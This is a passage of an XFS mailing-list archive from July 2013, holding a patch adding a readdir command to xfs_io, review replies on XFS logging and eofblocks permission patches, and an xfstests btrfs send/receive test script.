Jul 2013 05:39:32 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6OCdWbE007458 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 24 Jul 2013 08:39:32 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6OCdVVC012230 for ; Wed, 24 Jul 2013 08:39:31 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 2D9CE123D07; Wed, 24 Jul 2013 08:44:28 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v2] xfsprogs/io: add readdir command Date: Wed, 24 Jul 2013 08:44:27 -0400 X-ASG-Orig-Subj: [PATCH v2] xfsprogs/io: add readdir command Message-Id: <1374669868-14075-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374669572 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 readdir reads the directory entries from an open directory from the provided offset (or 0 if not specified). On completion, readdir prints summary information regarding the number of operations and bytes transferred. Options are available to specify the starting offset, length and verbose mode to dump directory entry information. Signed-off-by: Brian Foster --- v2: - Convert from getdents to readdir. - Use configure mechanism for libc readdir() availability (zab). - Add extra dirent fields to verbose output (zab). configure.ac | 1 + include/builddefs.in | 1 + io/Makefile | 5 ++ io/init.c | 1 + io/io.h | 6 ++ io/readdir.c | 190 ++++++++++++++++++++++++++++++++++++++++++++++++++ m4/package_libcdev.m4 | 15 ++++ 7 files changed, 219 insertions(+) create mode 100644 io/readdir.c diff --git a/configure.ac b/configure.ac index e5fd94e..da099d8 100644 --- a/configure.ac +++ b/configure.ac @@ -112,6 +112,7 @@ AC_HAVE_FIEMAP AC_HAVE_PREADV AC_HAVE_SYNC_FILE_RANGE AC_HAVE_BLKID_TOPO($enable_blkid) +AC_HAVE_READDIR AC_CHECK_SIZEOF([long]) AC_CHECK_SIZEOF([char *]) diff --git a/include/builddefs.in b/include/builddefs.in index 744e8d3..944bcf6 100644 --- a/include/builddefs.in +++ b/include/builddefs.in @@ -103,6 +103,7 @@ HAVE_FALLOCATE = @have_fallocate@ HAVE_FIEMAP = @have_fiemap@ HAVE_PREADV = @have_preadv@ HAVE_SYNC_FILE_RANGE = @have_sync_file_range@ +HAVE_READDIR = @have_readdir@ GCCFLAGS = -funsigned-char -fno-strict-aliasing -Wall # -Wbitwise -Wno-transparent-union -Wno-old-initializer -Wno-decl diff --git a/io/Makefile b/io/Makefile index 50edf91..d73f9b9 100644 --- a/io/Makefile +++ b/io/Makefile @@ -80,6 +80,11 @@ ifeq ($(HAVE_PREADV),yes) LCFLAGS += -DHAVE_PREADV -DHAVE_PWRITEV endif +ifeq ($(HAVE_READDIR),yes) +CFILES += readdir.c +LCFLAGS += -DHAVE_READDIR +endif + default: depend $(LTCOMMAND) include $(BUILDRULES) diff --git a/io/init.c b/io/init.c index ca3055a..ee99761 100644 --- a/io/init.c +++ b/io/init.c @@ -74,6 +74,7 @@ init_commands(void) fiemap_init(); pwrite_init(); quit_init(); + readdir_init(); resblks_init(); sendfile_init(); shutdown_init(); diff --git a/io/io.h b/io/io.h index 91f0e3e..e1f5328 100644 --- a/io/io.h +++ b/io/io.h @@ -149,3 +149,9 @@ extern void sync_range_init(void); #else #define sync_range_init() do { } while (0) #endif + +#ifdef HAVE_READDIR +extern void readdir_init(void); +#else +#define readdir_init() do { } while (0) +#endif diff --git a/io/readdir.c b/io/readdir.c new file mode 100644 index 0000000..eb47ac0 --- /dev/null +++ b/io/readdir.c @@ -0,0 +1,190 @@ +/* + * Copyright (c) 2013 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include +#include +#include +#include "init.h" +#include "io.h" + +#include +#include + +static struct cmdinfo readdir_cmd; + +const char *d_type_str(unsigned int type) +{ + const char *str; + + switch (type) { + case DT_UNKNOWN: + str = "DT_UNKNOWN"; + break; + case DT_FIFO: + str = "DT_FIFO"; + break; + case DT_CHR: + str = "DT_CHR"; + break; + case DT_DIR: + str = "DT_DIR"; + break; + case DT_BLK: + str = "DT_BLK"; + break; + case DT_REG: + str = "DT_REG"; + break; + case DT_LNK: + str = "DT_LNK"; + break; + case DT_SOCK: + str = "DT_SOCK"; + break; + case DT_WHT: + str = "DT_WHT"; + break; + default: + str = "ERROR!"; + break; + } + + return str; +} + +static void +dump_dirent( + long long offset, + struct dirent *dirent) +{ + printf("%08llx: d_ino: 0x%08lx", offset, dirent->d_ino); +#ifdef _DIRENT_HAVE_D_OFF + printf(" d_off: 0x%08lx", dirent->d_off); +#endif +#ifdef _DIRENT_HAVE_D_RECLEN + printf(" d_reclen: 0x%x", dirent->d_reclen); +#endif +#ifdef _DIRENT_HAVE_D_TYPE + printf(" d_type: %s", d_type_str(dirent->d_type)); +#endif + printf(" d_name: %s\n", dirent->d_name); +} + +static int +read_directory( + DIR *dir, + long long offset, + unsigned long long length, + int dump, + unsigned long long *total) +{ + struct dirent *dirent; + int count = 0; + + seekdir(dir, offset); + + *total = 0; + while (*total < length) { + dirent = readdir(dir); + if (!dirent) + break; + + *total += dirent->d_reclen; + count++; + + if (dump) { + dump_dirent(offset, dirent); + offset = dirent->d_off; + } + } + + return count; +} + +static int +readdir_f( + int argc, + char **argv) +{ + int cnt; + unsigned long long total; + int c; + size_t fsblocksize, fssectsize; + struct timeval t1, t2; + char s1[64], s2[64], ts[64]; + long long offset = -1; + unsigned long long length = -1; /* max length limit */ + int verbose = 0; + DIR *dir; + + init_cvtnum(&fsblocksize, &fssectsize); + + while ((c = getopt(argc, argv, "l:o:v")) != EOF) { + switch (c) { + case 'l': + length = cvtnum(fsblocksize, fssectsize, optarg); + break; + case 'o': + offset = cvtnum(fsblocksize, fssectsize, optarg); + break; + case 'v': + verbose = 1; + break; + default: + return command_usage(&readdir_cmd); + } + } + + dir = fdopendir(file->fd); + if (!dir) + return -1; + + if (offset == -1) { + rewinddir(dir); + offset = telldir(dir); + } + + gettimeofday(&t1, NULL); + cnt = read_directory(dir, offset, length, verbose, &total); + gettimeofday(&t2, NULL); + + t2 = tsub(t2, t1); + timestr(&t2, ts, sizeof(ts), 0); + + cvtstr(total, s1, sizeof(s1)); + cvtstr(tdiv(total, t2), s2, sizeof(s2)); + + printf(_("read %llu bytes from offset %lld\n"), total, offset); + printf(_("%s, %d ops, %s (%s/sec and %.4f ops/sec)\n"), + s1, cnt, ts, s2, tdiv(cnt, t2)); + + return 0; +} + +void +readdir_init(void) +{ + readdir_cmd.name = "readdir"; + readdir_cmd.cfunc = readdir_f; + readdir_cmd.argmax = 5; + readdir_cmd.flags = CMD_NOMAP_OK|CMD_FOREIGN_OK; + readdir_cmd.args = _("[-v][-o offset][-l length]"); + readdir_cmd.oneline = _("read directory entries"); + + add_command(&readdir_cmd); +} diff --git a/m4/package_libcdev.m4 b/m4/package_libcdev.m4 index f489f52..8267ba0 100644 --- a/m4/package_libcdev.m4 +++ b/m4/package_libcdev.m4 @@ -170,3 +170,18 @@ AC_DEFUN([AC_HAVE_SYNC_FILE_RANGE], AC_SUBST(have_sync_file_range) ]) +# +# Check if we have a readdir libc call +# +AC_DEFUN([AC_HAVE_READDIR], + [ AC_MSG_CHECKING([for readdir]) + AC_TRY_LINK([ +#include + ], [ + readdir(0); + ], have_readdir=yes + AC_MSG_RESULT(yes), + AC_MSG_RESULT(no)) + AC_SUBST(have_readdir) + ]) + -- 1.8.1.4 From tinguely@sgi.com Wed Jul 24 08:28:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B6B0B7CBF for ; Wed, 24 Jul 2013 08:28:45 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 88BBD8F8040; Wed, 24 Jul 2013 06:28:42 -0700 (PDT) Message-ID: <51EFD68A.40400@sgi.com> Date: Wed, 24 Jul 2013 08:28:42 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: "Michael L. Semon" CC: xfs@oss.sgi.com Subject: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-45-git-send-email-david@fromorbit.com> <51EEF26F.5040001@sgi.com> <51EEF949.9020104@gmail.com> In-Reply-To: <51EEF949.9020104@gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/23/13 16:44, Michael L. Semon wrote: > On 07/23/2013 05:15 PM, Mark Tinguely wrote: >> On 07/19/13 01:25, Dave Chinner wrote: >>> From: Dave Chinner >>> >>> Now that we have the size of the object before the formatting pass >>> is called, we can allocation the log vector and it's buffer in a >>> single allocation rather than two separate allocations. >>> >>> Store the size of the allocated buffer in the log vector so that >>> we potentially avoid allocation for future modifications of the >>> object. >>> >>> While touching this code, remove the IOP_FORMAT definition. > >>> Signed-off-by: Dave Chinner >> >> Looks good. >> >> Reviewed-by: Mark Tinguely >> >> _______________________________________________ >> xfs mailing list >> xfs@oss.sgi.com >> http://oss.sgi.com/mailman/listinfo/xfs > > I'd like to register a gentle "test this well" protest on this patch. > While trying to figure out the origin of an unrelated lockdep, I > tried to copy 3 kernel gits from one 2k non-CRC XFS filesystem to > another one. With at least this patch used, the cp operatin stops, > leading to not-umountable, not-syncable filesystems. It might be > while copying the 2nd git, or the 3rd git, while copying header files, > or while copying those large *.pack files, but it will happen > somewhere. > > A bisect of the issue ends on this patch, but its removal means that > 45_49 and 46_49 cannot be applied without good knowledge of the code > to be patched. > > This one's on me for not being able to get good information to Dave. > If I can find a way to get trace-cmd to pipe over ssh or something > like that, then maybe there's a chance to make a file that `trace-cmd > report` can read. Previous attempts to save to different filesystems > or save over NFS and CIFS have all failed. Will keep trying... > > For diagnosing this patch, is there an effective trace that is rather > small? And would you need more than just the XFS events? > > Thanks! > > Michael > Thanks for the heads up. If you could please redo the test and get the stack traces with /proc/sysrq-trigger and if you kernel works with crash, a core dump. For the stack trace, I mostly want to know if it has several "xlog_grant_head_wait" entries in it, because ... ...I seemed to have triggered a couple log space reservation hangs with fsstress one XFS partition and a mega-copy on another partition, but will have to graft the new XFS tree onto a Linux 3.10 kernel to get crash (and one of my sata controllers) to work again. Thanks. --Mark. From bfoster@redhat.com Wed Jul 24 09:31:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0FB5F7F3F for ; Wed, 24 Jul 2013 09:31:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8FAE2AC009 for ; Wed, 24 Jul 2013 07:31:06 -0700 (PDT) X-ASG-Debug-ID: 1374676262-04cb6c2a4710b9c90001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id oDhRdI0CJbngPxHg for ; Wed, 24 Jul 2013 07:31:02 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6OEUwsY011331 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 24 Jul 2013 10:30:59 -0400 Received: from laptop.bfoster (vpn-59-178.rdu2.redhat.com [10.10.59.178]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6OEUvwx023984 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Wed, 24 Jul 2013 10:30:58 -0400 Message-ID: <51EFE45F.4000801@redhat.com> Date: Wed, 24 Jul 2013 10:27:43 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dwight Engen CC: xfs@oss.sgi.com Subject: Re: [PATCH v5 6/7] xfs: add permission check to free eofblocks ioctl References: <20130724005301.0ed718d2@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v5 6/7] xfs: add permission check to free eofblocks ioctl In-Reply-To: <20130724005301.0ed718d2@oracle.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374676262 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/24/2013 12:53 AM, Dwight Engen wrote: > We need to check that userspace callers can only truncate preallocated > blocks from files they have write access to to prevent them from prematurley > reclaiming blocks from another user. The internal reclaimer will not specify > the XFS_EOF_FLAGS_PERM_CHECK flag, but userspace callers should. > > Add check for read-only filesystem to free eofblocks ioctl. > > Signed-off-by: Dwight Engen > --- > fs/xfs/xfs_fs.h | 1 + > fs/xfs/xfs_icache.c | 4 ++++ > fs/xfs/xfs_ioctl.c | 4 ++++ > 3 files changed, 9 insertions(+) > > diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h > index 7eb4a5e..aee4b12 100644 > --- a/fs/xfs/xfs_fs.h > +++ b/fs/xfs/xfs_fs.h > @@ -361,6 +361,7 @@ struct xfs_fs_eofblocks { > #define XFS_EOF_FLAGS_GID (1 << 2) /* filter by gid */ > #define XFS_EOF_FLAGS_PRID (1 << 3) /* filter by project id */ > #define XFS_EOF_FLAGS_MINFILESIZE (1 << 4) /* filter by min file size */ > +#define XFS_EOF_FLAGS_PERM_CHECK (1 << 5) /* check can write inode */ > #define XFS_EOF_FLAGS_VALID \ > (XFS_EOF_FLAGS_SYNC | \ > XFS_EOF_FLAGS_UID | \ We're not updating the VALID definition, which means the ioctl() would fail if the caller sets this flag. I find that a little confusing since we're effectively enforcing it. Given that the new flag would be exported, it might be a better idea to add it to the valid definition even though we don't require the caller to set it. An alternative might be to duplicate the set of flags in xfs_icache.h and not export this one at all, but I don't know it's really worth that. > diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c > index ed35584..823f2c0 100644 > --- a/fs/xfs/xfs_icache.c > +++ b/fs/xfs/xfs_icache.c > @@ -1247,6 +1247,10 @@ xfs_inode_free_eofblocks( > if (!xfs_inode_match_id(ip, eofb)) > return 0; > > + if ((eofb->eof_flags & XFS_EOF_FLAGS_PERM_CHECK) && > + inode_permission(VFS_I(ip), MAY_WRITE)) > + return 0; > + > /* skip the inode if the file size is too small */ > if (eofb->eof_flags & XFS_EOF_FLAGS_MINFILESIZE && > XFS_ISIZE(ip) < eofb->eof_min_file_size) > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > index ecab261..c7cb632 100644 > --- a/fs/xfs/xfs_ioctl.c > +++ b/fs/xfs/xfs_ioctl.c > @@ -1613,6 +1613,9 @@ xfs_file_ioctl( > struct xfs_fs_eofblocks eofb; > struct xfs_eofblocks keofb; > > + if (IS_RDONLY(inode)) > + return -XFS_ERROR(EROFS); > + > if (copy_from_user(&eofb, arg, sizeof(eofb))) > return -XFS_ERROR(EFAULT); > > @@ -1630,6 +1633,7 @@ xfs_file_ioctl( > if (error) > return -error; > > + keofb.eof_flags |= XFS_EOF_FLAGS_PERM_CHECK; And perhaps this should also be in the new helper..? Brian > return -xfs_icache_free_eofblocks(mp, &keofb); > } > > From list.btrfs@jan-o-sch.net Wed Jul 24 10:07:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1D15A7F3F for ; Wed, 24 Jul 2013 10:07:49 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id F0F8F8F8059 for ; Wed, 24 Jul 2013 08:07:45 -0700 (PDT) X-ASG-Debug-ID: 1374678462-04bdf0245e375410001-NocioJ Received: from xp-ob.rzone.de (xp-ob.rzone.de [81.169.146.137]) by cuda.sgi.com with ESMTP id CtENPWbKNIQX2VFZ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 24 Jul 2013 08:07:44 -0700 (PDT) X-Barracuda-Envelope-From: list.btrfs@jan-o-sch.net X-Barracuda-Apparent-Source-IP: 81.169.146.137 X-RZG-CLASS-ID: xp Received: from pizpot.store ([192.168.43.236]) by josoe.store (josoe xp4) (RZmta 31.30 OK) with ESMTP id 60791ep6OCmpF7 ; Wed, 24 Jul 2013 17:07:39 +0200 (CEST) From: Jan Schmidt To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, sbehrens@giantdisaster.de Subject: [PATCH v2 0/2] xfstest btrfs/316: test send / receive (was: btrfs/314) Date: Wed, 24 Jul 2013 17:07:27 +0200 X-ASG-Orig-Subj: [PATCH v2 0/2] xfstest btrfs/316: test send / receive (was: btrfs/314) Message-Id: <1374678449-21780-1-git-send-email-list.xfs@jan-o-sch.net> X-Mailer: git-send-email 1.8.3.3 X-Barracuda-Connect: xp-ob.rzone.de[81.169.146.137] X-Barracuda-Start-Time: 1374678463 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: root These two patches add the announced tests for btrfs send / receive. As requested, the fssum tool is now included. One drawback is that I'm unable to edit configure.ac or whatever needs to be modified in an autotools preferred way. Any hints appreciated, preferrably hints containing all the modifications required to introduce something like HAVE_SEEK_HOLE. I do not want to make modifications to fssum.c here, if that's absolutely required (because one /could/ get along using linux/fs.h, which is not the way I would like to go), I'd like to have that changed in the far-progs repository where fssum.c comes from as well. Jan Schmidt (2): xfstests: add fssum tool xfstests btrfs/316: test send / receive .gitignore | 1 + README | 3 + common/config | 2 + src/Makefile | 11 +- src/fssum.c | 819 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/316 | 113 +++++++ tests/btrfs/316.out | 4 + tests/btrfs/group | 1 + 8 files changed, 953 insertions(+), 1 deletions(-) create mode 100644 src/fssum.c create mode 100755 tests/btrfs/316 create mode 100644 tests/btrfs/316.out -- 1.7.2.5 From list.btrfs@jan-o-sch.net Wed Jul 24 10:07:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8C6A77F52 for ; Wed, 24 Jul 2013 10:07:53 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 79CA4304075 for ; Wed, 24 Jul 2013 08:07:50 -0700 (PDT) X-ASG-Debug-ID: 1374678462-04cb6c2a4210bce30001-NocioJ Received: from xp-ob.rzone.de (xp-ob.rzone.de [81.169.146.139]) by cuda.sgi.com with ESMTP id a1BkPZn81ETZ5AmK (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 24 Jul 2013 08:07:43 -0700 (PDT) X-Barracuda-Envelope-From: list.btrfs@jan-o-sch.net X-Barracuda-Apparent-Source-IP: 81.169.146.139 X-RZG-CLASS-ID: xp Received: from pizpot.store ([192.168.43.236]) by jored.store (jored xp3) (RZmta 31.30 OK) with ESMTP id p059a5p6OBbZyF ; Wed, 24 Jul 2013 17:07:39 +0200 (CEST) From: Jan Schmidt To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, sbehrens@giantdisaster.de Subject: [PATCH v2 2/2] xfstests btrfs/316: test send / receive Date: Wed, 24 Jul 2013 17:07:29 +0200 X-ASG-Orig-Subj: [PATCH v2 2/2] xfstests btrfs/316: test send / receive Message-Id: <1374678449-21780-3-git-send-email-list.xfs@jan-o-sch.net> X-Mailer: git-send-email 1.8.3.3 In-Reply-To: <1374678449-21780-1-git-send-email-list.xfs@jan-o-sch.net> References: <1374678449-21780-1-git-send-email-list.xfs@jan-o-sch.net> X-Barracuda-Connect: xp-ob.rzone.de[81.169.146.139] X-Barracuda-Start-Time: 1374678463 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Basic send / receive functionality test for btrfs. Requires current version of fsstress built (-x support). Relies on fssum tool but can skip the test if it failed to build. Signed-off-by: Jan Schmidt --- README | 3 + tests/btrfs/316 | 113 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/316.out | 4 ++ tests/btrfs/group | 1 + 4 files changed, 121 insertions(+), 0 deletions(-) create mode 100755 tests/btrfs/316 create mode 100644 tests/btrfs/316.out diff --git a/README b/README index a49ca7c..d287f63 100644 --- a/README +++ b/README @@ -26,6 +26,9 @@ Preparing system for tests (IRIX and Linux): http://www.extra.research.philips.com/udf/, then copy the udf_test binary to xfstests/src/. If you wish to disable UDF verification test set the environment variable DISABLE_UDF_TEST to 1. + - If you wish to run the btrfs send / receive components of the suite + install fssum from + git://git.kernel.org/pub/scm/linux/kernel/git/arne/far-progs.git - create one or two partitions to use for testing diff --git a/tests/btrfs/316 b/tests/btrfs/316 new file mode 100755 index 0000000..2e86428 --- /dev/null +++ b/tests/btrfs/316 @@ -0,0 +1,113 @@ +#! /bin/bash +# FSQA Test No. 314 +# +# Run fsstress to create a reasonably strange file system, make a +# snapshot (base) and run more fsstress. Then take another snapshot +# (incr) and send both snapshots to a temp file. Remake the file +# system and receive from the files. Check both states with fssum. +# +#----------------------------------------------------------------------- +# Copyright (C) 2013 STRATO. All rights reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# +# creator +owner=list.btrfs@jan-o-sch.net + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=`mktemp -d` +status=1 + +_cleanup() +{ + echo "*** unmount" + umount $SCRATCH_MNT 2>/dev/null + rm -f $tmp.* +} +trap "_cleanup; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_need_to_be_root +_supported_fs btrfs +_supported_os Linux +_require_scratch +_require_command $FSSUM_PROG fssum + +rm -f $seqres.full + +workout() +{ + fsz=$1 + ops=$2 + + umount $SCRATCH_DEV >/dev/null 2>&1 + echo "*** mkfs -dsize=$fsz" >>$seqres.full + echo "" >>$seqres.full + _scratch_mkfs_sized $fsz >>$seqres.full 2>&1 \ + || _fail "size=$fsz mkfs failed" + run_check _scratch_mount "-o noatime" + + run_check $FSSTRESS_PROG -d $SCRATCH_MNT -n $ops $FSSTRESS_AVOID -x \ + "$BTRFS_UTIL_PROG subvol snap -r $SCRATCH_MNT $SCRATCH_MNT/base" + + run_check $BTRFS_UTIL_PROG subvol snap -r $SCRATCH_MNT $SCRATCH_MNT/incr + + echo "# $BTRFS_UTIL_PROG send $SCRATCH_MNT/base > $tmp/base.snap" \ + >> $seqres.full + $BTRFS_UTIL_PROG send $SCRATCH_MNT/base > $tmp/base.snap 2>> $seqres.full \ + || _fail "failed: '$@'" + echo "# $BTRFS_UTIL_PROG send -p $SCRATCH_MNT/base\ + $SCRATCH_MNT/incr > $tmp/incr.snap" >> $seqres.full + $BTRFS_UTIL_PROG send -p $SCRATCH_MNT/base \ + $SCRATCH_MNT/incr > $tmp/incr.snap 2>> $seqres.full \ + || _fail "failed: '$@'" + + run_check $FSSUM_PROG -A -f -w $tmp/base.fssum $SCRATCH_MNT/base + run_check $FSSUM_PROG -A -f -w $tmp/incr.fssum -x $SCRATCH_MNT/incr/base \ + $SCRATCH_MNT/incr + + umount $SCRATCH_DEV >/dev/null 2>&1 + echo "*** mkfs -dsize=$fsz" >>$seqres.full + echo "" >>$seqres.full + _scratch_mkfs_sized $fsz >>$seqres.full 2>&1 \ + || _fail "size=$fsz mkfs failed" + run_check _scratch_mount "-o noatime" + + run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT < $tmp/base.snap + run_check $FSSUM_PROG -r $tmp/base.fssum $SCRATCH_MNT/base + + run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT < $tmp/incr.snap + run_check $FSSUM_PROG -r $tmp/incr.fssum $SCRATCH_MNT/incr +} + +echo "*** test send / receive" + +fssize=`expr 2000 \* 1024 \* 1024` +ops=200 + +workout $fssize $ops + +echo "*** done" +status=0 +exit diff --git a/tests/btrfs/316.out b/tests/btrfs/316.out new file mode 100644 index 0000000..4564c85 --- /dev/null +++ b/tests/btrfs/316.out @@ -0,0 +1,4 @@ +QA output created by 316 +*** test send / receive +*** done +*** unmount diff --git a/tests/btrfs/group b/tests/btrfs/group index bc6c256..11d708a 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -9,3 +9,4 @@ 276 auto rw metadata 284 auto 307 auto quick +316 auto rw metadata -- 1.7.2.5 From list.btrfs@jan-o-sch.net Wed Jul 24 10:07:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 48A7D7F53 for ; Wed, 24 Jul 2013 10:07:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 35BC7304075 for ; Wed, 24 Jul 2013 08:07:54 -0700 (PDT) X-ASG-Debug-ID: 1374678462-04cb6c2a4710bce30001-NocioJ Received: from xp-ob.rzone.de (xp-ob.rzone.de [81.169.146.141]) by cuda.sgi.com with ESMTP id 0YNOZVAqzSOpU4G9 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 24 Jul 2013 08:07:43 -0700 (PDT) X-Barracuda-Envelope-From: list.btrfs@jan-o-sch.net X-Barracuda-Apparent-Source-IP: 81.169.146.141 X-RZG-CLASS-ID: xp Received: from pizpot.store ([192.168.43.236]) by 